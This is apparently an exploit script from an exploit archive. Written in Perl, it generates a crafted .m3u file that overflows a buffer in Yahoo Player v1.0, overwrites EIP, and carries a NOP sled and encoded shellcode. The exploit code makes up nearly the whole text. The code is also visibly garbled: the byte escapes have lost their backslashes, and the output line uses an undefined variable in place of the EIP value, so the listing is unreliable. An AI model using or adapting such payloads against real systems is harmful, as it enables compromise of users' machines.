# Title: Yahoo Player v1.0 (.m3u) Buffer Overflow Exploit (direct EIP overwrite)
# Date: 2010-03-07
# Author: Bombard(Mr. tro0oqy originally discovered it, and gave a SEH)
#Version:1.0
#Tested on: Windows XP SP2
#CVE:()

my $file="crash.m3u";
my $junkA="A"x2080;
my $eip=pack('V',0x7c80ae31); #eip
my $junkC="C"x12; #align
my $nops="x90"x60; #nops
my $shellcode="xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x50x42x50x42x50x4bx48x45x54x4ex33x4bx58x4ex37".
"x45x30x4ax37x41x50x4fx4ex4bx48x4fx34x4ax31x4bx38".
"x4fx45x42x32x41x50x4bx4ex49x34x4bx38x46x43x4bx48".
"x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c".
"x46x47x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx43x46x45x46x52x46x50x45x47x45x4ex4bx38".
"x4fx55x46x32x41x50x4bx4ex48x36x4bx48x4ex30x4bx34".
"x4bx58x4fx35x4ex51x41x30x4bx4ex4bx48x4ex31x4bx38".
"x41x30x4bx4ex49x38x4ex45x46x32x46x30x43x4cx41x43".
"x42x4cx46x56x4bx48x42x44x42x53x45x58x42x4cx4ax57".
"x4ex50x4bx58x42x54x4ex50x4bx58x42x47x4ex41x4dx4a".
"x4bx48x4ax36x4ax50x4bx4ex49x30x4bx38x42x38x42x4b".
"x42x50x42x30x42x30x4bx48x4ax46x4ex43x4fx55x41x33".
"x48x4fx42x46x48x35x49x48x4ax4fx43x58x42x4cx4bx47".
"x42x45x4ax36x42x4fx4cx38x46x30x4fx55x4ax56x4ax39".
"x50x4fx4cx48x50x30x47x55x4fx4fx47x4ex43x56x41x56".
"x4ex36x43x36x50x52x45x36x4ax57x45x56x42x50x5a";

my $junkD="D"x1000;

open($FILE, ">$file");
print $FILE $junkA.$junkB.$junkC.$nops.$shellcode.$nops.$junkD;
close($FILE);
print "m3u File Created successfullyn";